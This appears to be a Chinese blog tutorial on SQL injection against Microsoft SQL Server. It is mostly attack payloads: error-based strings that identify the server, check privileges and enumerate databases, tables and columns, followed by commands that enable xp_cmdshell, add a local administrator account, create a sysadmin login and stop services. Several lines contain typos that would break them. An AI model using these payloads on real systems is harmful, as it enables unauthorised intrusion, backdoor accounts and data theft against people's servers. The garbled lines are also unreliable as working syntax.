zoukankan      html  css  js  c++  java
  • Sql注入之Mssql

    Sql注入之Mssql

    数据库介绍

    Mssql数据库是由微软公司开发的,中小型数据库,经常搭配asp使用。

    数据库权限

    • sa权限:数据库操作,文件管理,命令执行,注册表读取等system
    • db权限:文件管理,数据库操作等users-administrators
    • public权限:数据库操作guest-users

    判断数据库

    and exsits (select * from sysobjects)>0
    

    权限判断

    and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
    and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
    and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
    and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
    and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
    and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
    and 1=(select IS_SRVROLEMEMBER('db_owner'));--
    

    版本判断

    and 1=(select @@version)
    

    原理解释:@@version查询到的为字符类型但是让它“=1”(转化为整数类型),就会报错输出@@version的信息。

    拓展:

    and 1=(select db_name())	#查询数据库名称
    

    获取用户数据库名

    系统一共自带4个数据库,用来记录数据库的一些信息。

    这四个数据库分别用dbid=1,2,3,4来标记

    • 方法一
    and 1=(select top 1 name from master..sysdatabases where dbid>4)
    

    爆出一个库名假如为db,则运用如下语句可以继续爆库名

    and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'db')
    

    依次运用就可以爆出全部用户数据库名

    • 方法二

    运用如下语句爆出第二个数据库名

    and 1=(select top 1 name from master..sysdatabases where dbid>5)
    

    爆出第三个数据库名

    and 1=(select top 1 name from master..sysdatabases where dbid>6)
    

    依次运用即可爆出全部库名

    • 方法三

    运用如下命令可以爆出全部数据库名

    and 1=(select name from mast..sysdatabases for xml path)
    

    获取数据库表名

    • 方法一

    xtype='U'表示查询的为表

    and 1=(select top 1 name from sysobjects where xtype='U' )
    

    假如爆出来的第一个表名为tables,运用如下语句爆出第二个表名

    and 1=(select top 1 name from sysobjects where xtype='U'  and name<>tables)
    

    依次运用爆出全部表名

    • 方法二

    运用如下命令爆出全部表名

    and 1=(select name from sysobjects for xml path)
    

    获取列名

    获取user表的列名

    and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user'))
    
    and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user')and name<>id)
    

    依次获取全部列名

    SA扩展存储攻击

    判断命令扩展是否存在
    • 判断是否可以使用xp_cmdshell

    xtype=‘x’查询 扩展存储过程

    and 1=(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')
    

    开启扩展

    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
    
    • 判断xp_regread
    and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
    

    开启

    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_regread',1;RECONFIGURE;
    
    xp_cmdshell扩展应用

    创建用户

    exec master..xp_cmdshell'net user admin admin /add'
    

    将用户加入管理员组

    exec master..xp_cmdshell'net localgroup administrators admin /add'
    
    其他
    • 添加一个SA权限的用户test:
    exec master.dbo.sp_addlogin test,password
    exec master.dbo.sp_addsrvrolememner test,sysadmin
    
    • 激活或停止某个服务
    exec master..xp_servicecontrol 'stop',服务
    
    exec master..xp_servicecontrol 'start',服务
    
  • 相关阅读:
    Linux发行版 CentOS6.5 修改默认主机名
    《Linux就该这么学》培训笔记_ch06_存储结构与磁盘划分
    《Linux就该这么学》培训笔记_ch05_用户身份与文件权限
    《Linux就该这么学》培训笔记_ch04_Vim编辑器与Shell命令脚本
    《Linux就该这么学》培训笔记_ch03_管道符、重定向与环境变量
    《Linux就该这么学》培训笔记_ch02_一些必须掌握的Linux命令
    《Linux就该这么学》培训笔记_ch01_部署虚拟环境安装Linux系统
    《Linux就该这么学》培训笔记_ch00_认识Linux系统和红帽认证
    Swift笔记2
    request对象和response对象
  • 原文地址:https://www.cnblogs.com/Wuser/p/12321174.html
Copyright © 2011-2022 走看看